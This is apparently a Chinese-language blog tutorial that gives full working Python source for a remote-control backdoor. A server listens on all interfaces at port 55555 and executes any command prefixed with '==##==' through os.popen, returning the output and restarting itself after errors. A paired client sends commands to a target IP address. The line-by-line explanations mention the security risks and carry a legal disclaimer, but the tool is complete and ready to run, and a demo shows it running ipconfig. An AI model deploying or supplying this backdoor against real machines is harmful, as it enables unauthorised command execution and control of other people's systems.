基于python的远控代码教程
远控服务端—源码
声明:笔记的只是方便各位师傅学习知识,以下代码、网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。
老规矩,封面在文末。
import socket
import os
# 核心思路:客户端发送一条特殊字符串,里面包含要执行的命令,让服务器端执行命令并返回给客户端
def normal_talk():
s = socket.socket()
s.bind(('0.0.0.0', 55555)) # 不区分ip,所有ip均可访问
s.listen()
chanel, client = s.accept() # 无法接受多个客户端
# 死循环后的代码不可执行
while True:
# chanel, client = s.accept() # 此时的accept会置于阻塞状态
receive = chanel.recv(1024).decode()
print(f"收到消息是:{receive}")
reply = receive.replace("吗?", "!")
chanel.send(reply.encode())
def attack_talk():
try:
s = socket.socket()
s.bind(('0.0.0.0', 55555))
s.listen()
chanel, client = s.accept()
while True:
receive = chanel.recv(10240).decode()
# ==##==,command
if receive.startswith('==##=='):
command = receive.split(',')[-1]
reply = os.popen(command).read()
chanel.send(f"命令{command}的运行结果:\n{reply}".encode())
else:
print(f"收到消息是:{receive}")
reply = receive.replace("吗?", "!")
chanel.send(reply.encode())
except:
s.close()
attack_talk()
if __name__ == '__main__':
attack_talk()
远控服务端—源码解析
这段代码实现了一个简单的基于TCP的远程命令执行服务器和客户端通信模型。以下是对代码的详细分析:
功能概述
-
normal_talk(): 一个基本的回显服务器,接收客户端发送的消息,将“吗?”替换为“!”后返回。
-
attack_talk(): 一个具有远程命令执行功能的服务器,能够接收特定格式的消息(以
==##==
开头),解析并执行其中的命令,然后将执行结果返回给客户端。如果接收到的消息不是命令,则进行简单的文本替换并回显。
代码分析
导入模块
import socket
import os
-
socket
: 用于网络通信,创建TCP/IP套接字。 -
os
: 提供操作系统相关的功能,这里用于执行系统命令。
normal_talk() 函数
def normal_talk():
s = socket.socket()
s.bind(('0.0.0.0', 55555)) # 绑定到所有IP的55555端口
s.listen()
chanel, client = s.accept() # 接受一个客户端连接
while True:
receive = chanel.recv(1024).decode()
print(f"收到消息是:{receive}")
reply = receive.replace("吗?", "!")
chanel.send(reply.encode())
-
绑定与监听: 服务器绑定到所有可用的IP地址(
0.0.0.0
)的55555端口,并开始监听连接请求。 -
接受连接:
s.accept()
会阻塞,直到有客户端连接进来,返回一个新的套接字对象chanel
和客户端地址client
。 -
消息处理: 进入无限循环,接收客户端发送的消息,打印出来,将“吗?”替换为“!”后发送回客户端。
问题点:
-
只能处理一个客户端连接,无法同时处理多个客户端。
-
缺乏异常处理,如果连接中断或其他错误发生,程序可能会崩溃。
attack_talk() 函数
def attack_talk():
try:
s = socket.socket()
s.bind(('0.0.0.0', 55555))
s.listen()
chanel, client = s.accept()
while True:
receive = chanel.recv(10240).decode()
if receive.startswith('==##=='):
command = receive.split(',')[-1]
reply = os.popen(command).read()
chanel.send(f"命令{command}的运行结果:\n{reply}".encode())
else:
print(f"收到消息是:{receive}")
reply = receive.replace("吗?", "!")
chanel.send(reply.encode())
except:
s.close()
attack_talk()
-
功能扩展: 除了基本的文本替换功能外,增加了远程命令执行的能力。
-
命令解析: 如果接收到的消息以
==##==
开头,则认为后面跟随的是要执行的命令。使用split(',')
分割字符串,提取命令部分。 -
命令执行: 使用
os.popen(command).read()
执行命令并获取输出结果。 -
结果返回: 将命令执行的结果格式化后发送回客户端。
-
异常处理与重试机制: 使用
try-except
捕获可能的异常(如连接中断),关闭当前套接字后递归调用attack_talk()
重新启动服务器。
严重问题点:
-
安全性漏洞: 该服务器允许任意客户端发送命令并执行,可能导致严重的安全风险,如被恶意利用进行远程攻击、数据泄露等。
-
缺乏输入验证: 没有对接收到的命令进行任何形式的验证或过滤,容易受到注入攻击。
-
递归调用风险: 在异常情况下递归调用
attack_talk()
可能导致栈溢出,尤其是在频繁发生异常的情况下。 -
资源管理不当: 每次异常发生时仅关闭当前套接字,但未确保其他资源(如线程、进程等)的正确释放。
-
阻塞操作:
s.accept()
和chanel.recv()
都是阻塞操作,缺乏多线程或多进程支持,无法高效处理多个客户端连接。
主程序入口
if __name__ == '__main__':
attack_talk()
-
当脚本作为主程序运行时,调用
attack_talk()
函数启动服务器。
总结与建议
-
安全性: 远程命令执行功能极其危险,除非在受控且安全的环境中使用,否则应避免在生产环境中部署此类服务器。
- 功能改进:
-
多客户端支持: 使用多线程或多进程来处理多个客户端连接,提高服务器的并发能力。
-
输入验证与过滤: 对接收到的命令进行严格的验证和过滤,防止注入攻击和其他安全漏洞。
-
异常处理优化: 改进异常处理机制,避免递归调用带来的风险,确保资源的正确释放。
-
日志记录: 添加日志记录功能,便于监控服务器运行状态和排查问题。
-
-
合法合规: 确保服务器的使用符合相关法律法规和组织政策,避免非法用途。
总之,这段代码展示了基本的网络通信和远程命令执行的实现方式,但由于存在严重的安全隐患,不建议在不了解其潜在风险的情况下使用。
远控控制端—源码
import socket
s = socket.socket()
s.connect(('需要操控的ipv4地址', 55555))
while True:
massage = input("请输入消息:")
s.send(massage.encode())
receive = s.recv(10240)
print(f"服务器回复:{receive.decode()}")
远控控制端—源码解析
这段代码是一个简单的Python客户端程序,用于通过网络套接字(socket)与服务器进行通信。下面是对代码的详细分析:
导入模块
import socket
这行代码导入了Python标准库中的socket
模块,该模块提供了用于网络通信的接口。
创建套接字
s = socket.socket()
这行代码创建了一个新的套接字对象s
。默认情况下,这个套接字是一个TCP套接字,因为socket.socket()
在Python 3中默认创建的是AF_INET
(IPv4)和SOCK_STREAM
(TCP)类型的套接字。
连接到服务器
s.connect(('127.0.0.1', 55555))
这行代码尝试连接到指定的服务器地址和端口。'127.0.0.1'
是本地回环地址,表示客户端将连接到运行在同一台机器上的服务器。55555
是服务器监听的端口号。
消息发送与接收循环
while True:
massage = input("请输入消息:")
s.send(massage.encode())
receive = s.recv(10240)
print(f"服务器回复:{receive.decode()}")
这段代码是一个无限循环,用于不断地从用户那里接收输入,发送给服务器,并打印服务器的回复。
-
massage = input("请输入消息:")
:这行代码提示用户输入一条消息,并将输入的字符串存储在变量massage
中。 -
s.send(massage.encode())
:这行代码将用户输入的消息编码为字节串(因为send
方法需要字节串作为参数),然后通过套接字发送给服务器。 -
receive = s.recv(10240)
:这行代码从服务器接收数据。recv
方法的参数10240
指定了接收缓冲区的大小,即最多接收10240字节的数据。服务器发送的数据将被存储在变量receive
中。 -
print(f"服务器回复:{receive.decode()}")
:这行代码将接收到的字节串数据解码为字符串(默认使用UTF-8编码),然后打印出来。f
字符串用于格式化输出,将解码后的服务器回复嵌入到字符串中。
注意事项
-
这个客户端程序假设服务器会在同一台机器上运行,并且监听55555端口。如果服务器运行在不同的机器上,你需要将
'127.0.0.1'
替换为服务器的实际IP地址。 -
这个程序没有异常处理。在实际应用中,你应该添加try-except块来处理可能出现的网络错误,例如连接失败、发送或接收数据时出错等。
-
这个程序在接收到服务器关闭连接信号(即
recv
返回空字符串)时不会退出循环。你可能需要添加逻辑来检测这种情况并优雅地退出程序。 -
这个程序没有提供退出机制。在实际应用中,你可能希望添加一个命令(如输入"exit")来允许用户退出程序。
安全性考虑
-
这个简单的客户端-服务器模型没有加密通信,因此不适合传输敏感信息。在生产环境中,你应该使用SSL/TLS等加密技术来保护数据传输。
-
这个程序没有身份验证机制,任何人都可以连接到服务器并发送命令。在实际应用中,你需要实现适当的身份验证机制来确保只有授权用户才能访问服务器。
演示效果
服务端命令:python server.py
控制端命令:python client.py
可以看到client端输入==##==,ipconfig
就返回了服务端的ip信息。